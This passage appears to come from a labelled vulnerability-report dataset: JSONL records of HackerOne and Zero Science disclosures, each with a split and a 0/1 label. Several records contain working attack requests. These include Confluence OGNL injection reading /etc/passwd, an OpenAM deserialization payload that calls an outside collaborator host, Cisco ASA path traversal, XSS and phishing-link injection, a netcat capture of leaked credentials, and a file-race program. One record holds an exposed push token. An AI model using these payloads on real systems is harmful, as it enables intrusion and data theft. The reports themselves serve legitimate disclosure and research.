anything`\n\n## Impact\n\nAccess (read/write) unauthorized data", "source": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "70a9ae1bd31cc164b74b", "text": "[Improper Access Control - Generic] Sensitive files/ data exists  post deletion of user account\n\nIn the latest android app ,I created an account in the name of geekysherlock1@gmail.com. \nAfter few activities,deleted  the account . \nFiles containing user emails and tokens still exist.Relevant files not deleted upon deletion of account.\n\nContent of files post deletion of account:\ngeneric_x86:/data/data/com.nextcloud.client/shared_prefs # ls\nFirebaseAppHeartBeat.xml WebViewChromiumPrefs.xml com.google.android.gms.appid.xml com.nextcloud.client_preferences.xml migrations.xml variant-emoji-manager.xml\n\ngeneric_x86:/data/data/com.nextcloud.client/shared_prefs # cat com.nextcloud.client_preferences.xml\n<?xml version='1.0' encoding='utf-8' standalone='yes' ?>\n<map>\n    <boolean name=\"keysMigration\" value=\"true\" />\n    <string name=\"select_oc_account\">geekysherlock1@gmail.com@us.cloudamo.com</string>\n    <boolean name=\"autoUploadPathUpdate\" value=\"true\" />\n    <boolean name=\"autoUploadInit\" value=\"true\" />\n    <int name=\"prefs_uploader_behaviour\" value=\"1\" />\n    <boolean name=\"storagePathFix\" value=\"true\" />\n    <boolean name=\"autoUploadEntriesSplitOut\" value=\"true\" />\n    <boolean name=\"keysReinit\" value=\"true\" />\n    <string name=\"pushToken\">euwTiu9CT3CvQNHqNVZPIk:APA91bHqkGjFhx-BiCEH_NcRnaEvrp21tbxvjOKhHrQ1mUTCW3Dp46X90YinSDcjfVXytTcT9CLQBcrOv5J_EfSGM7GbZrZAyeKC1xOtgNBLkFeo4_EqX7LqVW-ezuG_rou1y2Ux8ah5</string>\n    <float name=\"grid_columns\" value=\"3.0\" />\n    <string name=\"storage_path\">/storage/emulated/0/Android/media/com.nextcloud.client</string>\n    <boolean name=\"legacyClean\" value=\"true\" />\n    <string name=\"upload_from_local_last_path\">/storage/emulated/0/Pictures</string>\n    <int name=\"lastSeenVersionCode\" value=\"30160190\" />\n</map>\n\nImages folder\ngeneric_x86:/data/data/com.nextcloud.client/shared_prefs # cd /storage/emulated/0/Pictures\ngeneric_x86:/storage/emulated/0/Pictures # ls\n2131099731.jpg 2131099732.jpg 2131099733.jpg\n\n## Impact\n\nThis information could be misused as  sensitive token related ,images,user related  details exist inspite of user account being deleted.", "source": "hackerone", "timestamp": "2022-05-20", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "6b550130780559213df2", "text": "SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x Disconnect Webmonitor User (DoS)\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2022-12-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "4b7ca2677ad3826b6c9c", "text": "[OS Command Injection] RCE in ███ [CVE-2021-26084]\n\nIn affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0\n\n## Impact\n\n-   An unauthenticated, 3rd-party attacker or adversary can execute remote code\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-26084\n\n## Steps to Reproduce\nPOST\n(command cat /etc/passwd)\n```\nPOST /confluence/pages/doenterpagevariables.action HTTP/1.1\nHost: ████\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36\nAccept-Encoding: gzip\nContent-Length: 915\n\nqueryString=aaaaaaaa\\u0027%2b{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var+isWin+%3d+java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022)%3b+var+cmd+%3d+new+java.lang.String(\\u0022cat /etc/passwd\\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\\u0022cmd.exe\\u0022,+\\u0022/c\\u0022,+cmd)%3b+}+else{p.command(\\u0022bash\\u0022,+\\u0022-c\\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\\u0022\\u0022%3b+var+output+%3d+\\u0022\\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\\u0027)}%2b\\u0027\n\n```\n\nYou will see the output of the ifconfig command\n\nOUTPUT\n```\n         type=\"hidden\"\n          name=\"queryString\"            value=\"aaaaaaaa[root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\nconfluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash\n]\"             />                <input\n]\"             />\n```\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "edc991d4e2da3bfaa822", "text": "[Unknown] Yet another SSRF query for Javascript\n\nThis bug was reported directly to GitHub Security Lab.", "source": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "0f1532069b9edf834097", "text": "MiniDVBLinux 5.4 Change Root Password PoC\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2022-10-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "ca91b083dd342d275fbd", "text": "[Privilege Escalation] Subdomain takeover at http://test.www.midigator.com\n\n## Vulnerability\nSubdomain test.www.midigator.com points to an AWS S3 bucket that no longer exists. I was able to take control of this bucket and serve my own content on it.\n\n## Proof Of Concept\n```code\n$ dig test.www.midigator.com\n[snipped]\n;; ANSWER SECTION:\ntest.www.midigator.com.\t60\tIN\tCNAME\ttest.www.midigator.com.s3-website-us-west-1.amazonaws.com.\ntest.www.midigator.com.s3-website-us-west-1.amazonaws.com. 59 IN CNAME s3-website-us-west-1.amazonaws.com.\ns3-website-us-west-1.amazonaws.com. 4 IN A\t52.219.193.3\n```\n\n{F1963195}\n\n## Remediation\nRemove the CNAME entry for the `test.www.midigator.com`\n\n## Impact\n\nSubdomain Takeover", "source": "hackerone", "timestamp": "2022-11-12", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "4ecda6b5ba90214981cb", "text": "[Cross-site Scripting (XSS) - Stored] STORED XSS in █████████/nlc/login.aspx via \"edit\" GET parameter through markdown editor [HtUS]\n\nWhile looking through the source code of https://████████/nlc/login.aspx,I noticed this line (204):\n`<a id=\"ctl00_ContentPlaceHolder1_CancelButton\" class=\"hidden\" href=\"login.aspx?edit=false\"><i class=\"fa fa-times\"></i> Cancel</a>`  ,which exposes the **edit** GET parameter.\nUpon accessing https://█████████/nlc/login.aspx?edit=true ,a hidden markdown editor will be revealed if you click around where the bottom text is,which allow us to input our own text,upload images,and pretty much anything you can do in markdown.  \n████████  \nAs you can see to prove impact,I inputted an XSS payload(`svg/onload=alert(1)>`) and clicked on **Save**.\nAfter that whenever **anyone** accesses https://██████████/nlc/login.aspx ,the XSS payload will execute.  \n███████  \nThe only way to remove the XSS payload is through accessing the markdown editor through https://█████████/nlc/login.aspx?edit=true ,removing it,and saving it.\n\n## Impact\n\nUsing this,an attacker is able to input and execute his own javascript code that will execute on **everyone** that accesses the login page **every time**,no matter what device they're using.They are not limited to Stored XSS though,using the hidden markdown editor they're able to upload images,deface the website and basically anything you can using markdown,however the most impactful scenario being executing arbitrary javascript code.", "source": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "cdc2ffa861021ca149ea", "text": "[Improper Access Control - Generic] Unauthorized access\n\nHello Gents,\nI would like to report an issue where attackers are able to:\n1. List `about.gitlab.com` GS bucket.\n2. Access all resales through https://about.gitlab.com/all-releases.xml & https://about.gitlab.com/security-releases.xml, which contains undisclosed HackerOne reports.\n> For Example:\n```\n<p>This vulnerability has been discovered internally by the GitLab team.</p> <h2 id=\"pipeline-subscriptions-trigger-new-pipelines-with-the-wrong-author\">Pipeline subscriptions trigger new pipelines with the wrong author</h2> <!-- https://gitlab.com/gitlab-org/security/gitlab/-/issues/642 -->\n <p>A critical issue has been discovered in GitLab affecting all versions starting from 14.0 prior to 14.10.5, 15.0 prior to 15.0.4, and 15.1 prior to 15.1.1 where an authenticated user authorized to import projects could import a maliciously crafted project leading to remote code execution. This is a critical severity issue (<code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</code>, 9.9). It is now mitigated in the latest release and is assigned <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2185\">CVE-2022-2185</a>.</p> <p>Thanks <a href=\"https://hackerone.com/vakzz\">vakzz</a>\n```\n3. Access https://about.gitlab.com/mindmap.txt which contains this internal Google Documents link:\nhttps://docs.google.com/document/d/e/2PACX-1vSNzTLkZMqILVYoey4dnSLYdk0Jmsd8pFu7ygLJ57RQ1c8XlZDbzaG45rQMOrDbHRWCQa5LN7DZid8s/pub\n> I didn't dig in so much , but I was able to edit a document like this one: \n> [GitLab_MessageGuide](https://docs.google.com/document/d/14APaSKwYpwutujISnkbLOnjdQ5RG-hIQXulasZT7h6s/edit)\n4. list All Gitlab Staff full names through https://about.gitlab.com/roulette.json\n5. All JavaScript files using `gsutil ls gs://about.gitlab.com/javascripts/`, there are many other files too.\n> Also please take a look at this json file: https://storage.googleapis.com/about.gitlab.com/_nuxt/content/db-0881eaf3.json, it contains phone numbers, tokens, and more than 1000 URLs could be useful for attackers.\n\n### Steps to reproduce:\n+ Please visit https://storage.googleapis.com/about.gitlab.com, or you can install [gsutil](https://cloud.google.com/storage/docs/gsutil_install). then list the bucket using the following command: \n+ `gsutil ls gs://about.gitlab.com/`.\n\n### Proof of concept\n+ {F1867120}\n+ {F1867121}\n+ {F1867122}\n+ {F1867125}\n\n## Impact\n\nUnauthorized access & Information disclosure.\n\nThanks and have a nice day!", "source": "hackerone", "timestamp": "2022-08-25", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "bce16ee2e64c8ea070eb", "text": "[Insecure Direct Object Reference (IDOR)] IDOR in \"external status check\" API leaks data about any status check on the instance\n\n### Summary\n\nThe API endpoint for returning approval from an `external status check` contains an IDOR that lets a user list information about all `external status checks` on the GitLab instance. The feature is an `Ultimate` feature, but can be accessed by starting an `Ultimate` trial on GitLab.com. So the attack is possible with a regular account.\n\nWhen an `external status check` is configured, the project will send out information about MRs to a specified endpoint. This endpoint can then be configured to answer to the request to \"pass\" the status check. Description of the feature [here](https://docs.gitlab.com/ee/user/project/merge_requests/status_checks.html). The API endpoint for this answer is ([info](https://docs.gitlab.com/ee/api/status_checks.html#set-status-of-an-external-status-check))\n```\nPOST /projects/:id/merge_requests/:merge_request_iid/status_check_responses\n```\nwith the passed in parameters `sha` and `external_status_check_id`. It is the later one that contains the IDOR. This parameter tells GitLab which `external status check` the request is targeting. And the answer back from GitLab is JSON containing info about the MR but also info about the status check configuration. By altering the ID sent, a user can obtain info about any status check on the instance (even from Private projects).\n\nLeaked information about a status check could look like the example below and could contain:\n\n* Private project name and ID\n* Name of status check\n* Private address to external status check tool\n* Name and ID of protected branch connected to the status check\n* Access rules to protected branch, if configured also name of user that is allowed to access\n\n```\n\"external_status_check\": {\n    \"id\": 10,\n    \"name\": \"Name of status check\",\n    \"project_id\": 33,\n    \"external_url\": \"https://victim.service.com\",\n    \"protected_branches\": [\n      {\n        \"id\": 24,\n        \"name\": \"Name of protected branch\",\n        \"push_access_levels\": [\n          {\n            \"access_level\": 40,\n            \"access_level_description\": \"Name of user with access to protected branch\",\n            \"user_id\": 2,\n            \"group_id\": null\n          },\n          {\n            \"access_level\": 30,\n            \"access_level_description\": \"Developers + Maintainers\",\n            \"user_id\": null,\n            \"group_id\": null\n          }\n        ],\n        \"merge_access_levels\": [\n          {\n            \"access_level\": 30,\n            \"access_level_description\": \"Developers + Maintainers\",\n            \"user_id\": null,\n            \"group_id\": null\n          },\n          {\n            \"access_level\": 40,\n            \"access_level_description\": \"Name of user with access\",\n            \"user_id\": 2,\n            \"group_id\": null\n          }\n        ],\n        \"allow_force_push\": true,\n        \"unprotect_access_levels\": [],\n        \"code_owner_approval_required\": true\n      }\n```\n\n### Steps to reproduce\n\n1. Create two users `victim01` and `attacker01`\n2. Log in as `victim01` and create a new PRIVATE project called `victim_project` at https://gitlab.domain.com/projects/new#blank_project\n3. Go to go to project settings https://gitlab.domain.com/victim01/victim_project/edit and expand \"Merge request\" under \"General\". Scroll down to \"Status checks\" and click create new.\n4. Name the status check \"Victim status check\" and enter a API endpoint \"https://victim.hidden.com\"\n5. Click save\n6. Log out and log back in as `attacker01`\n7. Go through step 2 to 5 again but name the project `attacker_project` and the status check anything. Take a note of the ID of the project. We will call it `attackID`\n8. Now create a new branch in `attacker_project` at https://gitlab.domain.com/attacker01/attacker_project/-/branches/new\n9. Click \"Create new merge request\" when the branch is created. Name the MR anything and click create\n10. Go to https://gitlab.domain.com/-/profile/personal_access_tokens and create an access token for `attacker01`, we will call it `TOK", "source": "hackerone", "timestamp": "2022-02-22", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "ecd30b0dfeb07ce47c1d", "text": "[Code Injection] Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464)\n\nRCE is possible thanks to unsafe Java deserialization in the Jato framework used by OpenAM.\n\n\n### Supporting Material/References\n- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464\n\n## Impact\n\nAn unauthenticated, 3rd-party attacker or adversary can execute remote code\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-35464\n\n## Steps to Reproduce\n## Steps To Reproduce\n\nTarget domain: ████\n\nFirst we need to build the payload:\n1. Download this jar file \n``wget https://github.com/Bin4xin/sweet-ysoserial/blob/master/target/ysoserial-0.0.6-SNAPSHOT-all.jar``\n\nthen \n``java -jar ysoserial-master-SNAPSHOT.jar Click1 \"curl https://g0h7qcjzwzpzdh2ar6b5f9x3puvkj9.burpcollaborator.net\" | (echo -ne \\\\x00 && cat) | base64 | tr '/+' '_-' | tr -d '=' | tr -d '\\n' > payload.txt`` \n\nYou need to change the burp Collaborator id to test it properly. \n\nThe payload is now saved in the payload.txt file. \n\nNow we need to use the following request:\n\n```\nGET /openam/ccversion/Version?jato.pageSession=XYZ HTTP/1.1\nHost: 127.0.0.1\n```\nReplace **XYZ** by the payload saved into the payload.txt file. \n\nThe response\n\n```\nHTTP/1.1 302 Found\nCache-Control: private\nLocation: https://127.0.0.1:443/openam/base/AMInvalidURL\nContent-Length: 0\n```\nThe HTTP Request sent the collaborator :\n\n██████\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "e2434770e19ff2d8564e", "text": "[Command Injection - Generic] Sending Arbitrary Requests through Jupyter Notebooks on gitlab.com and Self-Hosted GitLab Instances\n\n> *NOTE*: I am still researching whether there is a possibility to deploy the exploit without user interaction.\n\n### Summary\n\nGitLab provides a [rich representation](https://docs.gitlab.com/ee/user/project/repository/jupyter_notebooks/) for Jupyter Notebooks (`*.ipynb`). In turn, Jupyter Notebooks provide the possibility for [rich output via HTML](https://nbviewer.jupyter.org/github/ipython/ipython/blob/master/examples/IPython%20Kernel/Rich%20Output.ipynb#HTML). Although most tags and attributes are stripped from the HTML output rendered in GitLab's rich representation, it retains `data-*` attributes. Using [`jquery-ujs`](https://gitlab.com/gitlab-org/gitlab/-/blob/4e12f87c013f59070bf1156bb2427af9fa9123c4/package.json#L101) as a gadget, it is possible to trigger `GET`/`POST`/`PUT`/`DELETE` requests with an [arbitrary payload](https://github.com/rails/jquery-ujs/wiki/Unobtrusive-scripting-support-for-jQuery-%28list-of-data-attributes%29#data-params). On https://gitlab.com, the CSP restricts the target, while there is no such limitation for self-hosted GitLab instances. As of now, this vulnerability requires user interaction in the form of a single click followed by and applies to https://gitlab.com as well as self-hosted GitLab instances.\n\n### Steps to reproduce\n\n1. Create a GitLab project or refer to an existing project.\n2. Upload an `exploit.ipynb` file with the following contents:\n\n     ```json\n    {\n      \"cells\": [\n        {\n          \"metadata\": { \"trusted\": true },\n          \"cell_type\": \"code\",\n          \"source\": \"Tell me something about you!\",\n          \"execution_count\": 1,\n          \"outputs\": [\n            {\n              \"output_type\": \"display_data\",\n              \"data\": {\n                \"text/plain\": \"<IPython.core.display.HTML object>\",\n                \"text/html\": \"What's your favorite color?&emsp;<select data-method=\\\"put\\\" data-params=\\\"message=p0wn3d\\\" data-remote=\\\"true\\\" data-url=\\\"/api/v4/user/status\\\"><option>Red</option><option>Green</option><option>Blue</option></select>\\n\"\n              },\n              \"metadata\": {}\n            }\n          ]\n        }\n      ],\n      \"metadata\": {\n        \"kernelspec\": {\n          \"name\": \"python3\",\n          \"display_name\": \"Python 3\",\n          \"language\": \"python\"\n        },\n        \"language_info\": {\n          \"name\": \"python\",\n          \"version\": \"3.7.8\",\n          \"mimetype\": \"text/x-python\",\n          \"codemirror_mode\": { \"name\": \"ipython\", \"version\": 3 },\n          \"pygments_lexer\": \"ipython3\",\n          \"nbconvert_exporter\": \"python\",\n          \"file_extension\": \".py\"\n        }\n      },\n      \"nbformat\": 4,\n      \"nbformat_minor\": 4\n    }\n    ```\nwhere `cells[0].outputs[0].data.text/html` contains the payload.\n3. In the *Files*  view of the project, click on the above-added `exploit.ipynb`.\n4. Select an option other than the default.\n5. Reload the page to recongize that your status has been altered, i.e. click on your profile in the top right corner.\n\n### Impact\n\nAn attacker is able to send `GET`/`POST`/`PUT`/`DELETE` requests with an [arbitrary payload](https://github.com/rails/jquery-ujs/wiki/Unobtrusive-scripting-support-for-jQuery-%28list-of-data-attributes%29#data-params) to targets within the CSP on https://gitlab.com or arbitrary targets on self-hosted GitLab instances on behalf of the victim.\n\nThe impact is similar to that of #824689 and #806571.\n\n### Examples\n\nDue to the destructive nature of the above-described example, I do not provide a public PoC, although I have created [an exemplary repository](https://gitlab.com/dpfuerst/sending-arbitrary-requests-through-jupyter-notebooks). This repository is private, please let me know if you would like me to change the visibility.\n\nThe above-described `exploit.ipynb` [sets the user status](https://docs.gitlab.com/ee/api/users.html#set-user-status) of the victim to `p0wn3d`. However, more critical permission-related exploits are also possible. Consider an attacker with", "source": "hackerone", "timestamp": "2022-02-10", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "8bbeae0f23509b637325", "text": "[Path Traversal] Unathenticated file read (CVE-2020-3452)\n\n**Description:**\nA vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device.\n\n\n## References\nhttps://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86\nhttps://www.rapid7.com/blog/post/2020/07/23/cve-2020-3452-cisco-asa-firepower-read-only-path-traversal-vulnerability-what-you-need-to-know/\n\n## Impact\n\nImpact\nAn attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. As an example, this could allow an attacker to impersonate another VPN user and establish a Clientless SSL VPN or AnyConnect VPN session to the device as that user. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-3452\n\n## Steps to Reproduce\n1.) Perform the following GET request:\nGET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1\nHost: ██████\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F\nConnection: close\nAccept: */*\nAccept-Language: en\nAccept-Encoding: gzip, deflate, br\n\n2.) The response will contain contents of portal_inc.lua\n\n## Suggested Mitigation/Remediation Actions\nCisco has released software updates that address this vulnerability.", "source": "hackerone", "timestamp": "2023-11-17", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "0393f5d9c51f55c4aa13", "text": "[Code Injection] HTML injection on newsroom.snap.com/* via search?q=1\n\nHi security team members,\n\nHope you are well!\n\nI found an unauthenticated HTML injection in the browser of NewRooms section: https://newsroom.snap.com/[code_country]/*. It is possible to inject any HTML code from the \"?q=\" parameter of the following endpoints newsroom.snap.com/[code_country]/search?q= since the text input in the search engine is not sanitized at all.\n\nThe steps to reproduce the attack are:\n\n1. Inject any HTML code into the URL: https://newsroom.snap.com/es-ES/search?q=%3Ca%20style=%22position:absolute;margin:50px;%20background-color:%20yellow;%20z-index:1000;top:50px;padding:100px;font-weight:bold;font-size:45px;color:red;%22%20href=%22https://evil.com%22%3EClick%20here%20for%20win%201000%E2%82%AC!%3C/a%3E\n\n2. In this PoC example, an attacker would send this seemingly legitimate URL to victims pretending that Snapchat is offering money as an excuse. In reality, these users would access the attacker's website (https://evil.com/) if they click on the <a></a> element.\n\n## Impact\n\nAn attacker can inject as much HTML code as desired and edit the style of the website to cause a Defacement in order to deceive users through Phishing, links to other websites controlled by the attacker through scams,... . There are many scenarios .", "source": "hackerone", "timestamp": "2023-08-14", "split": "val", "label_source": "within_source_cve_index", "label": 0}
+{"id": "61e3f8cd17d76fd5997f", "text": "[Unknown] CVE-2023-36617: ReDoS vulnerability in URI (Ruby)\n\nI made a report at https://hackerone.com/reports/1958260 .\n\nhttps://www.ruby-lang.org/en/news/2023/06/29/redos-in-uri-CVE-2023-36617/\n\n> A ReDoS issue was discovered in the URI component through 0.12.1 for Ruby. The URI parser mishandles invalid URLs that have specific characters. There is an increase in execution time for parsing strings to URI objects with rfc2396_parser.rb and rfc3986_parser.rb.\n\n> NOTE: this issue exists because of an incomplete fix for CVE-2023-28755.\n\n## Impact\n\nParsing of URIs may cause ReDoS.\nEspecially when using RFC2396_Parser, even Ruby 3.2.x is affected.", "source": "hackerone", "timestamp": "2023-08-15", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "8d1896c4a0e5cc587cdd", "text": "[Insufficiently Protected Credentials] CVE-2022-27776: Auth/cookie leak on redirect\n\n## Summary:\nCurl can be coaxed to leak Authorisation / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host).\n\n## Steps To Reproduce:\n\n1. Configure for example Apache2 to perform redirect with mod_rewrite:\n   ```\n   RewriteCond %{HTTP_USER_AGENT} \"^curl/\"\n   RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]\n    ```\n  ... the attacker could also use `.htpasswd` file to do so.\n  2. Set up netcat to listen for the incoming secrets:\n    `while true; do echo -ne 'HTTP/1.1 404 nope\\r\\nContent-Length: 0\\r\\n\\r\\n' | nc -v -l -p 9999; done`\n  3. `curl-L -H \"Authorization: secrettoken\" -H \"Cookie: secretcookie\" https://hostname.tld/redirectpoc`\n \nThe redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:\n```\nGET / HTTP/1.1\nHost: hostname.tld:9999\nUser-Agent: curl/7.83.0-DEV\nAccept: */*\nAuthorization: secrettoken\nCookie: secretcookie\n```\n\nThe attack could also use HTTPS and a valid certificate, In this case the leaked headers are of course only be visible to the listening http server.\n\nThis vulnerability is quite similar to CVE-2022-27774 and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers.\n\nThis bug appears to be here: https://github.com/curl/curl/blob/master/lib/http.c#L1904\n\n## Impact\n\nLeak of Authorisation and/or Cookie headers.", "source": "hackerone", "timestamp": "2022-04-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "3095b69f91d2d8255da6", "text": "[Time-of-check Time-of-use (TOCTOU) Race Condition] [curl] CVE-2023-32001: fopen race condition\n\nHello, I'm reporting for CVE-2023-32001 on curl which was resolved in last Wednesday's curl release.\n\n### Vulnerability explanation: \nAs we can see in the following curl code (line 59-61 https://github.com/curl/curl/blob/fb802b521af997230b65174a559f5c419520e142/lib/fopen.c ): \n```C\n  if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {\n    /* a non-regular file, fallback to direct fopen() */\n    *fh = fopen(filename, FOPEN_WRITETEXT);\n...\n}\n...\n```\nThere is a race condition between the moment \"stat(filename, &sb)\" is executed and the moment \" fopen(filename, FOPEN_WRITETEXT);\" is executed.\nThis leads to undesirable behavior such as an attacker tricking a privileged user to overwrite protected files, or since this function (Curl_fopen) is also used for storing cookies an attacker could trick another user to send those cookies that might be very sensible to a file fully owned and controlled by the attacker.\n\n###POC/Steps to reproduce:\nBefore we start, I will be using a little program called \"rename\". Which simply swaps atomically the names of two files to be able to showcase this race condition. Here is its code :\n```\n#include <strings.h>\n#include <string.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#define _GNU_SOURCE\n#include <fcntl.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <sys/syscall.h>\n#include <linux/fs.h>\n\n// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c\nint main(int argc, char *argv[]) {\n  while (1) {\n    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);\n  }\n  return 0;\n}\n```\n\nOpen two terminals, with two different users. One will be the attacker terminal and the other the victim. \nIn both POCs, the victim  will want to execute a command such as \"curl --cookie-jar a google.com\" thinking the file \"a\" doesn't exist.\n\n###A) Exploiting this vulnerability to trick a user to overwrite a file they own:\n\nAssume the current directory of both attacker(selmelc) and victim (root) looks like this\n```SHELL\nlrwxrwxrwx 1 selmelc selmelc     4 Jun 27 07:11 a -> flag\ndrwxrwxrwx 2 selmelc selmelc  4096 Jun 27 07:11 b\n-rw-r--r-- 1 root    root        6 Jun 27 07:05 flag\n-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename\n```\nThe attacker executes ./rename a b, which will not stop to swap the name of the directory \"b\" and the symlink \"a\". \n\nThe victim executes their command \"curl --cookie-jar a google.com\".\nThe race condition is successfully exploited if in the vulnerable code the stat identifies the file \"a\" as a directory and then the \"fopen\" opens the symlink that points to the file \"flag\".\nIf that happened then the results looks like this :\n```\n...\n-rw-r--r-- 1 root    root      131 Jun 27 07:13 flag\n...\nroot@deb:/home/selmelc/Documents# cat flag\n# Netscape HTTP Cookie File\n# https://curl.se/docs/http-cookies.html\n# This file was generated by libcurl! Edit at your own risk.\n```\nAdditional note: \nYou might think \"well that's just how symlinks work\"... To clarify on that, by default if the victim was executing  \"curl --cookie-jar a google.com\" without the attacker exploiting the vuln. a different behavior would occur ; the file \"a\" would be erased (no more symlink) and overwritten as a regular file containing the cookie data. This happens because the stat function follows symbolic links therefore in that scenario we would not enter the vulnerable condition which leads to the race condition.\n\n###B) Exploiting this vulnerability to steal the victim's cookies and hide it from them:\n\nAs this uses the same logic as the previous exploit for this vuln. Repeat same steps except this time we want the \"flag\" file to be owned by the attacker as following:\n```\nlrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:42 a -> flag\ndrwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b\n-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag\n-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename\n\n```\nNormal curl behavior after the victim executed  \"curl --cookie-ja", "source": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "within_source_cve_index", "label": 1}
+{"id": "75e775e6733222635db1", "text": "OpenBMCS 2.4 Secrets Disclosure\n\nSeverity: high", "source": "zeroscience", "timestamp": "2022-01-16", "split": "val", "label_source": "within_source_cve_index", "label": 0}
